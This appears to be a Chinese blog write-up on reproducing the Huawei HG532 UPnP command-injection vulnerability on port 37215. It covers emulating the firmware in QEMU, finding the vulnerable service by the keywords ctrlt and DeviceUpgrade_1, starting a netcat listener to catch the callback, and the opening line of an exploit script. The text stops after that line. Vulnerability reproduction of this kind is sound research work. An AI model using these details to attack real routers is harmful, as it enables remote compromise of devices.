一、基本信息:
定制版的华为HG532具有远程执行代码漏洞。 经过身份验证的攻击者可以将恶意数据包发送到端口37215,以发起攻击。 成功的利用可能导致远程执行任意代码。该漏洞payload由蜜罐所捕获发现。利用原理是利用upnp服务中的注入漏洞实现任意命令执行。
二、配置复现环境:
1. 安装qemu
1 | sudo apt-get install qemu |
2. 网络配置
安装网络配置工具:
1 | apt-get install bridge-utils uml-utilities |
修改 ubuntu主机网络配置,将ubuntu主机系统中的网络接口配置文件 /etc/network/interfaces 修改为如下内容:
创建QEMU的网络接口启动脚本(/etc/qemu-ifup)并保存为如下内容:
启动桥接网络
赋予可执行权限
1 | sudo chmod a+x /etc/qemu-ifup |
重启网络服务,使配置生效
1 | sudo /etc/init.d/networking restart |
关闭ens33,启动桥接网络br0
1 | sudo ifdown eth0 |
执行到这里时,系统提示eh0并未启动。这里并不影响
3. 加载debian镜像文件
从https://people.debian.org/~aurel32/qemu/mips/下载对应的debian mips qemu镜像
其他的帖子里有各种下载qemu镜像的地址,试了几个下载都不好用,各种坑
我下载的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。
启动qemu运行刚镜像:
1 | sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap |
可以看到一个qemu虚拟机,用root/root登录进去: 看一下网络接口:
将nano /etc/network/interfaces 文件中的eth0改为eth1:
再用ifup eth1 将eth1启起来,运气好的话此时网络已经好了。
然而这里可能一直运气不好,记录:尝试过重启、重启网络、重启接口。给qemu配置新的网络192.168.0.127 ,可以实现主机和虚拟机之间互通
1 | ~ # ifconfig eth1 192.168.0.127 netmask 255.255.255.0 |
直接操作虚拟机显然比较麻烦,在ubuntu上搞个SSH 连进来,ssh root@虚拟机ip
将之前解压的固件包拷贝到虚拟机里面:
scp -r ./squashfs-root root@虚拟机ip:/root/
完成搭建路由器固件运行的环境。
三、复现漏洞:
1. 定位漏洞点
第一个问题是怎么让路由器里的服务启起来,我们也不知道是哪个文件会去处理80端口过来的请求,先看下checkpoint报告里的payload
注意其中的关键字:ctrlt和DeviceUpgrade_1,通过*grep -r [keywords]指令查看有哪些文件包含这两个词语:
再找下端口号37215所在文件。
2. 运行漏洞点服务
要运行upnp和mic这两个文件,需要先切换根目录到路由器文件系统中
切换到路由器文件系统指令:
1 | chroot /root/squashfs-root /bin/sh |
或者执行qemu中squashfs-root文件夹中执行
1 | chroot . sh |
达到切换固件跟录下的目的。结果如下图所示:
3. 验证漏洞
这时测试一下路由器的37215端口,
在ubantu上键入指令sudo nc -vlp 80 监听本机80端口,接下来运行exp脚本验证漏洞。
四、EXP 脚本
根据披露的payload,构造EXP 脚本如下:
exp代码如下:
1 | import requests |